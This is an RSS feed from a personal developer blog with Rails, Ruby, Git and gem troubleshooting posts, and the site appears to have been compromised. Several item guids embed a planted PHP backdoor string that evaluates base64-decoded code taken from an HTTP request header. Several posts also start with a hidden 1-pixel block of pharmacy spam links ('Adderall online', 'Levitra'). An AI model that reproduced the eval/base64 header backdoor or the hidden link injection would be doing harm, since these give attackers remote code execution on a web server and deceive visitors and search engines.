<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Chris Cruft</title>
	<link>http://cho.hapgoods.com/wordpress</link>
	<description>A Fount of Worthless Drivel</description>
	<pubDate>Mon, 06 Sep 2010 00:55:51 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2.3</generator>
	<language>en</language>
			<item>
		<title>perl modules</title>
		<link>http://cho.hapgoods.com/wordpress/?p=115</link>
		<comments>http://cho.hapgoods.com/wordpress/?p=115#comments</comments>
		<pubDate>Mon, 16 Aug 2010 00:30:02 +0000</pubDate>
		<dc:creator>cch1</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<category><![CDATA[Windows XP]]></category>

		<category><![CDATA[Linux]]></category>

		<category><![CDATA[Math]]></category>

		<category><![CDATA[Blogroll]]></category>

		<category><![CDATA[Ruby]]></category>

		<category><![CDATA[MacBook Pro]]></category>

		<category><![CDATA[Mac OSX]]></category>

		<category><![CDATA[Operating Systems]]></category>

		<category><![CDATA[Netware]]></category>

		<category><![CDATA[HP LaserJet 5Si]]></category>

		<category><![CDATA[Hardware]]></category>

		<category><![CDATA[Rails]]></category>

		<category><![CDATA[Proliant 3000]]></category>

		<category><![CDATA[Javascript]]></category>

		<category><![CDATA[CMHN]]></category>

		<category><![CDATA[Software Development]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://cho.hapgoods.com/wordpress/2010/08/15/perl-modules/%</guid>
		<description><![CDATA[
Adderall onlineLevitra

I am a complete Perl novice.Â  But there are occasions when I need to install perl modules.Â  I have learned that
perl -MCPAN -e &#8216;install (module-name)&#8217;
will allow you to install a perl module from the CPAN respository.
]]></description>
			<content:encoded><![CDATA[<p><!-- ~~sponsor~~ --></p>
<div style='width:150px; height:1px;padding:0px;font:11px Tahoma;overflow:hidden;'><a href="http://www.andalucia.com/">Adderall online</a><a href="http://desevilla.org/">Levitra</a></div>
<p><!-- ~~sponsored~~ --></p>
<p>I am a complete Perl novice.Â  But there are occasions when I need to install perl modules.Â  I have learned that</p>
<p><span id="intelliTxt">perl -MCPAN -e &#8216;install (module-name)&#8217;</span></p>
<p>will allow you to install a perl module from the CPAN respository.</p>
]]></content:encoded>
			<wfw:commentRss>http://cho.hapgoods.com/wordpress/?feed=rss2&amp;p=115</wfw:commentRss>
		</item>
		<item>
		<title>Ruby on Rails Performance Tuning -a beginners perspective</title>
		<link>http://cho.hapgoods.com/wordpress/?p=112</link>
		<comments>http://cho.hapgoods.com/wordpress/?p=112#comments</comments>
		<pubDate>Sun, 15 Aug 2010 16:49:52 +0000</pubDate>
		<dc:creator>cch1</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<category><![CDATA[Windows XP]]></category>

		<category><![CDATA[Linux]]></category>

		<category><![CDATA[Math]]></category>

		<category><![CDATA[Blogroll]]></category>

		<category><![CDATA[Ruby]]></category>

		<category><![CDATA[MacBook Pro]]></category>

		<category><![CDATA[Mac OSX]]></category>

		<category><![CDATA[Operating Systems]]></category>

		<category><![CDATA[Netware]]></category>

		<category><![CDATA[HP LaserJet 5Si]]></category>

		<category><![CDATA[Hardware]]></category>

		<category><![CDATA[Rails]]></category>

		<category><![CDATA[Proliant 3000]]></category>

		<category><![CDATA[Javascript]]></category>

		<category><![CDATA[CMHN]]></category>

		<category><![CDATA[Software Development]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://cho.hapgoods.com/wordpress/2010/08/15/ruby-on-rails-performance-tuning-a-beginners-perspective/%</guid>
		<description><![CDATA[
Adderall onlineLevitra

So I have been developing MemoryMiner (as my introduction to Rails) for almost six months now, and performance issues are starting to become recognizable.  In a desperate attempt to kill two birds with one stone, I upgraded my Linux server (bmw) to Fedora Core 5 this past weekend.  It was not uneventful [...]]]></description>
			<content:encoded><![CDATA[<p><!-- ~~sponsor~~ --></p>
<div style='width:150px; height:1px;padding:0px;font:11px Tahoma;overflow:hidden;'><a href="http://www.andalucia.com/">Adderall online</a><a href="http://desevilla.org/">Levitra</a></div>
<p><!-- ~~sponsored~~ --></p>
<p>So I have been developing MemoryMiner (as my introduction to Rails) for almost six months now, and performance issues are starting to become recognizable.  In a desperate attempt to kill two birds with one stone, I upgraded my Linux server (bmw) to Fedora Core 5 this past weekend.  It was not uneventful but I finished with MySQL 5.0.22 installed and running for my Rails apps.  I also now have ruby 1.8.5 and Edge Rails. Â  Unfortunately, the performance is still inadequate, and while I&#8217;m perfectly willing to suffer due to limited hardware, I&#8217;m pretty sure there is some bloat that needs to be trimmed -particularly in the area of database query tuning.</p>
<p>The first order of business was to get a handle on where my application was spending time.  The classic solution, a profiler, applies to Rails as well.  I tried the built-in profiler (<em>script/performance/profiler</em>) but was not blown away.  Then I found ruby-prof and its graph profiles.  I installed the gem and added a real simple around filter in the controller to generate an HTML Graph Profile.  Cool -I could exercise a method/URL in a controller and immediately (in another browser) see the results in an easy-to-digest format.</p>
<p>Unfortunately, I could not find a smoking gun.<br />
References:</p>
<blockquote />
<ol>
</ol>
<ol>
<li><a href="http://cho.hapgoods.com/wordpress/">http://ruby-prof.rubyforge.org/graph.txt</a></li>
<li><a href="http://cho.hapgoods.com/wordpress/">http://ruby-prof.rubyforge.org/<br />
</a></li>
<li><a href="http://cho.hapgoods.com/wordpress/">http://glu.ttono.us/articles/2006/06/23/stefen-kaes-optimizing-rails</a></li>
<li><a href="http://cho.hapgoods.com/wordpress/">http://www.thoughtstoblog.com/articles/2006/10/24/rails-performance-tool-box</a></li>
<li>http://blog.kovyrin.net/2006/08/28/ruby-performance-results/</li>
</ol>
<ol>
<li>Good example of benchmarking -with useful server-vs-server results.</li>
</ol>
<blockquote />
]]></content:encoded>
			<wfw:commentRss>http://cho.hapgoods.com/wordpress/?feed=rss2&amp;p=112</wfw:commentRss>
		</item>
		<item>
		<title>ActiveSupport::Dependencies and plugins</title>
		<link>http://cho.hapgoods.com/wordpress/?p=167</link>
		<comments>http://cho.hapgoods.com/wordpress/?p=167#comments</comments>
		<pubDate>Tue, 22 Jun 2010 20:21:23 +0000</pubDate>
		<dc:creator>cch1</dc:creator>
		
		<category><![CDATA[Rails]]></category>

		<guid isPermaLink="false">http://cho.hapgoods.com/wordpress/2010/06/22/activesupportdependencies-and-plugins/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[For the second time this year, I struggled debugging the dreaded &#8220;A copy of XXX has been removed from the module tree but is still active&#8221;.  Last time, I learned the lesson of letting Rails autoload wherever possible and to not try to manage the loading myself.  Kind of a Zen thing.
But there are limitations [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left">For the second time this year, I struggled debugging the dreaded &#8220;A copy of XXX has been removed from the module tree but is still active&#8221;.  Last time, I learned the lesson of letting Rails autoload wherever possible and to not try to manage the loading myself.  Kind of a Zen thing.</p>
<p style="text-align: left">But there are limitations with that approach.  For starters, we all know this only applies to Rails, not Ruby in general.  And so when writing gems, <em>require</em> is your friend.  An edge case is plugins.  The auto-dependency mechanism does not reload plugin code (at least not by default), but it will autoload it initially.  That&#8217;s a code smell, in my opinion, that leads to the error noted in the first paragraph when &#8220;locked in&#8221; code references autoloaded code.  It kinda works like this as best I can tell: don&#8217;t let Rails autoload code that it is not also reloading.</p>
<p style="text-align: left">Given that plugins are (normally) not be reloaded, you need to avoid having Rails grab const_missing and autoload your code.  So, in plugin code, use your normal arsenal of Ruby-standard <em>load</em>/<em>require</em> to load stuff.  Here&#8217;s a neat trick to find where you&#8217;ve failed to make the grade: start the console and run<br />
<blockquote class="webkit-indent-blockquote" style="text-align: left; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px">&gt;&gt; print ActiveSupport::Dependencies.history.grep(/plugin/).join(&#8221;\n&#8221;)</p></blockquote>
<p>Any plugin code listed is probably counting on Rails&#8217; dependency resolution/autoloader.  You may need to muck around with your code a bit to trigger stuff getting autoloaded, but in my case there was plenty to work on just post-initialization.</p>
]]></content:encoded>
			<wfw:commentRss>http://cho.hapgoods.com/wordpress/?feed=rss2&amp;p=167</wfw:commentRss>
		</item>
		<item>
		<title>ActiveRecord fixtures, binary data, SQLite3 and namespaced models are a dangerous combination</title>
		<link>http://cho.hapgoods.com/wordpress/?p=166</link>
		<comments>http://cho.hapgoods.com/wordpress/?p=166#comments</comments>
		<pubDate>Wed, 09 Jun 2010 16:25:05 +0000</pubDate>
		<dc:creator>cch1</dc:creator>
		
		<category><![CDATA[Software Development]]></category>

		<category><![CDATA[Rails]]></category>

		<guid isPermaLink="false">http://cho.hapgoods.com/wordpress/2010/06/09/activerecord-fixtures-binary-data-sqlite3-and-namespaced-models-are-a-dangerous-combination/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[I switched the test database for one of my plugins to SQLite3 today -I like the idea of not requiring a database setup step for plugin tests and the in-memory option for SQLite3 nicely sidesteps that requirement.  Immediately my tests all failed with:
ActiveRecord::StatementInvalid: SQLite3::SQLException: unrecognized token: &#60;INSERT statement mixed in with a bunch of binary [...]]]></description>
			<content:encoded><![CDATA[<p>I switched the test database for one of my plugins to SQLite3 today -I like the idea of not requiring a database setup step for plugin tests and the in-memory option for SQLite3 nicely sidesteps that requirement.  Immediately my tests all failed with:<br />
<blockquote class="webkit-indent-blockquote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px">ActiveRecord::StatementInvalid: SQLite3::SQLException: unrecognized token: &lt;INSERT statement mixed in with a bunch of binary gobbledygook&gt;</p></blockquote>
<p>The weak link here is Ruby.  Think about this chain of custody for my binary data:
<ol>
<li>YAML fixture with &#8220;!binary&#8221; directive</li>
<li>Ruby String</li>
<li>SQLite3 Blob</li>
</ol>
<p>The second custodian (prior to 1.9 only, I hope) loses the &#8220;binariness&#8221; of my data and thus fails to properly quote it for insertion into SQLite3 (interestingly, MySQL does not appear to require special quoting).  Normally ActiveRecord knows how to restore the binariness of the data on insert by looking at the destination column type (you can see this code in fixtures.rb).  But it gets this column information in a strange way: despite knowing the table into which the fixture is to be inserted, ActiveRecord gets the column data by referencing the model class associated with the table.  The model class is guessed from the name of the fixture&#8217;s DB table -which fails to find a match whenever the model class is not in the root namespace.  Head spinning yet?<br />
<blockquote class="webkit-indent-blockquote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px">&lt;fixture file name&gt; =&gt; &lt;database table&gt; =&gt; &lt;model class&gt; =&gt; &lt;column details&gt;</p></blockquote>
<p>(The irony is that a model class knows its column types because it inspected the table during initialization.  Why doesn&#8217;t the Fixtures class (which also knows which table to inspect) do the same thing?  Like this:<br />
<blockquote class="webkit-indent-blockquote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px">&lt;fixture file name&gt; =&gt; &lt;database table&gt; =&gt; &lt;column details&gt;</p></blockquote>
<p>Who knows?)Anyway, without a model class and thus column type hints, ActiveRecord happily inserts fixtures with generic quoting.  Ruby strings, for example, are assumed to be destined for plain string columns.  For blob columns in SQLite3, this causes a shower of sparks.All hope is not lost, however.  Rails provides the <em>#set_fixture_class</em> method which allows you to explicitly link the fixture file to a model class.  For example:<br />
<blockquote class="webkit-indent-blockquote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px">set_fixture_class {:widgets =&gt; My::Deeply::Nested:Widget, :thingys =&gt; My::Deeply::Nested::Thingy}</p></blockquote>
<p>Problem solved.</p>
]]></content:encoded>
			<wfw:commentRss>http://cho.hapgoods.com/wordpress/?feed=rss2&amp;p=166</wfw:commentRss>
		</item>
		<item>
		<title>Upgrading Mac Ports leads to Rails Issue with nokogiri</title>
		<link>http://cho.hapgoods.com/wordpress/?p=165</link>
		<comments>http://cho.hapgoods.com/wordpress/?p=165#comments</comments>
		<pubDate>Mon, 03 May 2010 15:50:14 +0000</pubDate>
		<dc:creator>cch1</dc:creator>
		
		<category><![CDATA[Ruby]]></category>

		<guid isPermaLink="false">http://cho.hapgoods.com/wordpress/2010/05/03/upgrading-mac-ports-leads-to-rails-issue-with-nokogiri/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[Recently I decided to jack up my profiling abilities for my Rails apps.  At some point, looking at call graphs started to hurt my brain so I went to install kcachegrind on my Snow Leopard machine.  To make a long story short, I ended up doing an across-the-board upgrade of Mac Ports (sudo port selfupdate [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left">Recently I decided to jack up my profiling abilities for my Rails apps.  At some point, looking at call graphs started to hurt my brain so I went to install kcachegrind on my Snow Leopard machine.  To make a long story short, I ended up doing an across-the-board upgrade of Mac Ports (<em>sudo port selfupdate</em> followed by <em>sudo port upgrade</em>).  Despite still having some lingering problems with kdeinit whining about not being able to bind to the socket (claiming the address was already in use), I was able to use kcachegrind to study the profiler output from Rails&#8217; spiffy profiler tests (ActionController::PerformanceTest).  Whoopee!</p>
<p style="text-align: left">Too bad that having upgraded all my ports sent me directly to the next step in dependency chain hell.  First problem: rmagick won&#8217;t load.  Hoping for the best, I fired off an update of the rmagick gem (<em>sudo gem update rmagick</em>).  YeeHaa!  I&#8217;m on a roll.  The only thing left is a tiny little warning when running my test suite about &#8220;WARNING: Nokogiri was built against LibXML version 2.7.6, but has dynamically loaded 2.7.7&#8243; and how hard could a little warning be?  After all, my test suite passed just fine.  But, I&#8217;m a bit to OCD to let that warning ride, so I started digging.</p>
<p style="text-align: left">First, let&#8217;s evaluate that message: nokogiri is complaining about LibXML being too new.  OK, that&#8217;s easy, let&#8217;s get a newer version of Nokogiri that&#8217;s more comfortable with that newer version of LibXML (which probably came along with Mac Ports).  Easy peasy upgrade (<em>sudo gem update nokogiri</em>) from 1.3.3 to 1.4.1.  Unfortunately, the warning is still there.  On a hunch, I open my Rails console&#8230;<br />
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote">
<p style="text-align: left"># ./script/console&gt;&gt; Nokogiri::VERSION=&gt; &#8220;1.3.3&#8243;</p>
</blockquote>
<p>Uh,  excuse me, who is loading the outdated version of Nokogiri?  I check my environment files (I&#8217;m not yet on Rails 3) to confirm that my app is not tied to a specific version&#8230; nope.  Now I have to hunt down the offending party.  Here&#8217;s how I fingered him&#8230;Remove the config.gem line for nokogiri and see if anybody complains during the test suite.  Sure enough, we have a smoking gun:<br />
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote">in `activate&#8217;: can&#8217;t activate nokogiri (~&gt; 1.3.3, runtime) for [&#8221;sanitize-1.1.0&#8243;], already activated nokogiri-1.4.1 for [&#8221;webrat-0.5.3&#8243;]</p></blockquote>
<p>To make a long story short, that little tilde (&#8217;~') in the error message above has a very specific meaning.  The above error message means that sanitize wants nokogiri version 1.3.3 or later, but only as long as it shares the same major (1) and minor (3) versions.  So &#8220;1.3.956&#8243; works, but &#8220;1.4.0&#8243; does not.  Sadly, I can&#8217;t find this interpretation of the tilde in gem dependency specs documented anywhere.  Strange, considering its impact.  I have found a couple of blogs and such that point out that the tilde has this role, but nothing formal in the docs.Solution: update sanitize (and thankfully the sanitize author had updated it to be compatible with nokogiri 1.4).Afterthought: the gem dependency command shows clearly the dependency of sanitize 1.1.0 on nokogiri 1.3.x:# gem dependency -R nokogiri<br />
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote">Gem nokogiri-1.3.3</p></blockquote>
<blockquote class="webkit-indent-blockquote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>racc (&gt;= 0, development)</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>rexical (&gt;= 0, development)</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>rake-compiler (&gt;= 0, development)</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>hoe (&gt;= 2.3.2, development)</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>Used by</p></blockquote>
<blockquote class="webkit-indent-blockquote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px"></blockquote>
<blockquote class="webkit-indent-blockquote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p><strong>sanitize-1.1.0 (nokogiri (~&gt; 1.3.3, runtime))</strong></p></blockquote>
<blockquote class="webkit-indent-blockquote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>webrat-0.5.3 (nokogiri (&gt;= 1.2.0, runtime))</p></blockquote>
<blockquote class="webkit-indent-blockquote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>mime-types-1.16 (nokogiri (~&gt; 1.2, development))</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://cho.hapgoods.com/wordpress/?feed=rss2&amp;p=165</wfw:commentRss>
		</item>
		<item>
		<title>Git sux for composing</title>
		<link>http://cho.hapgoods.com/wordpress/?p=160</link>
		<comments>http://cho.hapgoods.com/wordpress/?p=160#comments</comments>
		<pubDate>Tue, 16 Feb 2010 09:37:38 +0000</pubDate>
		<dc:creator>cch1</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://cho.hapgoods.com/wordpress/?p=160</guid>
		<description><![CDATA[Git is da bomb, written by The Man, all the kewl kidz sing its praises.  The Rails community has dropped Subversion like penicillin on clap.   And I&#8217;m really looking forward to taking advantage of the distributed nature of Git.
But I have existing projects that use Subversion, including projects that represent Rails plugins.  Plugins are indispensable [...]]]></description>
			<content:encoded><![CDATA[<p>Git is da bomb, written by The Man, all the kewl kidz sing its praises.  The Rails community has dropped Subversion like penicillin on clap.   And I&#8217;m really looking forward to taking advantage of the distributed nature of Git.</p>
<p>But I have existing projects that use Subversion, including projects that represent Rails plugins.  Plugins are indispensable when working with Rails and probably a bajillion other frameworks, tool sets and such use them to compose independently developed code.</p>
<p>Too bad, then, that Git&#8217;s support for composed projects sucks.  It cannot match the simplistic yet effective behavior of svn:externals.  At least for me, Subversion&#8217;s externals do the following Good Things:</p>
<ul>
<li>Records my project&#8217;s dependency on external plugins, either to a specific version or the latest version (edge) of that plugin.</li>
<li>Supports transparent commits to my project&#8217;s code with no regard to fact that there are external plugin dependencies.</li>
<li>Supports transparent commits to a plugin&#8217;s code with the same tools and commands as changes to my project&#8217;s code -this can be valuable if you use plugins to factor your own common functionality into a self-maintained plugin or if you are a contributor to plugin project.</li>
<li>Transparently promulgates macro operations on my project code base to the plugins, i.e. one can checkout my project and get updates on my project with no concern that it is composed of plugins.</li>
</ul>
<p>Git can do some of this through submodules -but there are holes.  I&#8217;m far from competent with Git, but just trying to setup a Git project with submodules seems to have these issues:</p>
<p>It&#8217;s not possible to track the latest version of a submodule.</p>
<p>And while there are tools that attempt to address the problem, I&#8217;m left with the nagging feeling that this is a fundamental design flaw or a limitation from the distributed nature of Git.  Anyone?  Anyone?</p>
<p><!-- bubbleGUM --></p>
]]></content:encoded>
			<wfw:commentRss>http://cho.hapgoods.com/wordpress/?feed=rss2&amp;p=160</wfw:commentRss>
		</item>
		<item>
		<title>ActiveResource::HttpMock doesn&#8217;t mock hard enough</title>
		<link>http://cho.hapgoods.com/wordpress/?p=164</link>
		<comments>http://cho.hapgoods.com/wordpress/?p=164#comments</comments>
		<pubDate>Thu, 19 Nov 2009 20:03:28 +0000</pubDate>
		<dc:creator>cch1</dc:creator>
		
		<category><![CDATA[Software Development]]></category>

		<category><![CDATA[Rails]]></category>

		<guid isPermaLink="false">http://cho.hapgoods.com/wordpress/?p=164</guid>
		<description><![CDATA[I&#8217;ve got a family of (ARes) resources that are available through an external web service.  These resources are used pervasively throughout my site -they appear on about 75% of my site&#8217;s pages.  When testing, of course I don&#8217;t want to hit the web service and endure the vagaries of performance and availability.  The nice people [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve got a family of (ARes) resources that are available through an external web service.  These resources are used pervasively throughout my site -they appear on about 75% of my site&#8217;s pages.  When testing, of course I don&#8217;t want to hit the web service and endure the vagaries of performance and availability.  The nice people developing ActiveResource seem to have accommodated this desire by providing the HttpMock class.</p>
<p>But&#8230;  HttpMock is very exacting in its demands for matching requests -it&#8217;s all or nothing.  That means that if I make fifty different requests, all identical save for a tiny change in the URL params, I need to make fifty different mocks.  Ouch.</p>
<p>So I decided to mock the mocker.  No, really.  Using mocha, I mock the HttpMock::Request#== method to always return true.  Now, regardless of the request path, HttpMock always sees a match and returns my mock data.</p>
<p>The denouement, using the Rails docs as a starting point:</p>
<blockquote>
<pre>def setup
  @matz  = { :id =&gt; 1, :name =&gt; "Matz" }.to_xml(:root =&gt; "person")
  ActiveResource::HttpMock.respond_to do |mock|
    mock.post   "/people.xml",   {}, @matz, 201, "Location" =&gt; "/people/1.xml"
    mock.get    "/people/1.xml", {}, @matz
    mock.put    "/people/1.xml", {}, nil, 204
    mock.delete "/people/1.xml", {}, nil, 200
    req_res = mock.get "/", {}, "Constant Data Goes Here", 200
    <strong>req_res.last.first.stubs(:==).returns(true)</strong>
 end
end</pre>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://cho.hapgoods.com/wordpress/?feed=rss2&amp;p=164</wfw:commentRss>
		</item>
		<item>
		<title>git bisect&#8230; taste great when served with Edge Rails.</title>
		<link>http://cho.hapgoods.com/wordpress/?p=163</link>
		<comments>http://cho.hapgoods.com/wordpress/?p=163#comments</comments>
		<pubDate>Mon, 02 Nov 2009 19:43:05 +0000</pubDate>
		<dc:creator>cch1</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://cho.hapgoods.com/wordpress/?p=163</guid>
		<description><![CDATA[So I&#8217;ve got a couple of projects that I like to claim run on &#8220;Edge Rails&#8221;.  But the reality is that I let them slip for a month or two before playing catch up.  Today I decided to update an application that had somehow gotten behind 2-3-stable by hundreds of commits.  Being bold, I jumped [...]]]></description>
			<content:encoded><![CDATA[<p>So I&#8217;ve got a couple of projects that I like to claim run on &#8220;Edge Rails&#8221;.  But the reality is that I let them slip for a month or two before playing catch up.  Today I decided to update an application that had somehow gotten behind 2-3-stable by hundreds of commits.  Being bold, I jumped straight to HEAD and was met with a shower of sparks running rake.  Where to start?</p>
<p>In a word or two: git bisect</p>
<p>I started the bisection run and told git that head was bad and my current commit was good.  Note: I use a git submodule to track Rails&#8230;</p>
<blockquote><p>[&#8230;vendor/rails]# git bisect start</p>
<p>[&#8230;vendor/rails]# git bisect good</p>
<p>[&#8230;vendor/rails]# git bisect bad 2-3-stable</p>
<p>(and in another terminal window)</p>
<p>[myapp] # rake</p></blockquote>
<p>Then it was just a matter of marking each auto-selected commit as good or bad with <em>git bisect good</em> or <em>git bisect bad</em>.  Worked great.  Next time, I&#8217;m going to automate the whole thing with <em>git bisect run</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://cho.hapgoods.com/wordpress/?feed=rss2&amp;p=163</wfw:commentRss>
		</item>
		<item>
		<title>Borked gems and when cache is not cache</title>
		<link>http://cho.hapgoods.com/wordpress/?p=162</link>
		<comments>http://cho.hapgoods.com/wordpress/?p=162#comments</comments>
		<pubDate>Fri, 09 Oct 2009 18:05:14 +0000</pubDate>
		<dc:creator>cch1</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://cho.hapgoods.com/wordpress/?p=162</guid>
		<description><![CDATA[Somehow, someway my gem installation became subtly corrupt.  Specifically, many of my gems are not available in the cache directory.  That&#8217;s not a very intuitive erroneous situation, but there are gem commands that clearly expect a gem file in the cache directory -and they can&#8217;t recover the situation if the file is missing.  Doesn&#8217;t sound [...]]]></description>
			<content:encoded><![CDATA[<p>Somehow, someway my gem installation became subtly corrupt.  Specifically, many of my gems are not available in the cache directory.  That&#8217;s not a very intuitive erroneous situation, but there are gem commands that clearly expect a gem file in the cache directory -and they can&#8217;t recover the situation if the file is missing.  Doesn&#8217;t sound like my definition of a cache, but it&#8217;s time to move on.</p>
<p>Symptom:<br />
1. whiny errors while attempting to unpack a gem like:</p>
<blockquote><p>[cch1@bimota:~/Documents/Development/t]$ gem unpack exifr<br />
ERROR:  While executing gem &#8230; (Gem::Exception)<br />
Cannot load gem at [/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/gems/1.8/cache/exifr-0.10.7.gem] in /Users/cch1/Documents/Development/t</p></blockquote>
<p>or</p>
<blockquote><p>[cch1@bimota:~/Documents/Development/t]$ gem pristine exifr<br />
Restoring gem(s) to pristine condition&#8230;<br />
ERROR:  Cached gem for exifr-0.10.7 not found, use `gem install` to restore</p></blockquote>
<p>2. Indeed, no .gem file exists in the referenced cache directory.</p>
<p>Note that in OSX Leopard, gems are typically installed in several locations:</p>
<blockquote><p>[cch1@bimota:~/Documents/Development/t]$ gem env paths<br />
/Users/cch1/.gem/ruby/1.8:/Library/Ruby/Gems/1.8:/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/gems/1.8</p></blockquote>
<p>My theory is that earlier versions of gem (such as the one I got with my distribution of Leopard in early 2008) had problems installing and updating gems other than those originally packaged with the system.  Using the gems by requiring the library file typically worked fine.  But by not building the cache file (or perhaps building it in the wrong one of the multiple gem directories), problems crept up months later trying to unpack the gem.</p>
<p>Sadly, the only solution I can find is to re-install the gem:</p>
<blockquote><p>[cch1@bimota:~/Documents/Development/t]$ gem list exifr</p>
<p>*** LOCAL GEMS ***</p>
<p>exifr (0.10.7)<br />
[cch1@bimota:~/Documents/Development/t]$ sudo gem install exifr &#8211;version &#8216;=0.10.7&#8242;<br />
Password:<br />
Successfully installed exifr-0.10.7<br />
1 gem installed<br />
Installing ri documentation for exifr-0.10.7&#8230;<br />
Installing RDoc documentation for exifr-0.10.7&#8230;</p></blockquote>
<p>Now the commands that depend on the &#8220;cached&#8221; version will work:</p>
<blockquote><p>[cch1@bimota:~/Documents/Development/t]$ gem unpack exifr<br />
Unpacked gem: &#8216;/Users/cch1/Documents/Development/t/exifr-0.10.7&#8242;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://cho.hapgoods.com/wordpress/?feed=rss2&amp;p=162</wfw:commentRss>
		</item>
		<item>
		<title>Aptana RadRails and the test_helper.rb LoadError</title>
		<link>http://cho.hapgoods.com/wordpress/?p=161</link>
		<comments>http://cho.hapgoods.com/wordpress/?p=161#comments</comments>
		<pubDate>Thu, 17 Jul 2008 17:50:40 +0000</pubDate>
		<dc:creator>cch1</dc:creator>
		
		<category><![CDATA[Software Development]]></category>

		<category><![CDATA[Rails]]></category>

		<guid isPermaLink="false">http://cho.hapgoods.com/wordpress/?p=161</guid>
		<description><![CDATA[Since moving to more recent versions of Rails, I&#8217;ve noticed that the auto-generated Rails tests assume that the myapp/test directory is on the load path.  And the bundled Rake testing tasks do indeed take care of that requirement.  But the Aptana RadRails plugins for Eclipse don&#8217;t.  The result is that whenever you run a test, [...]]]></description>
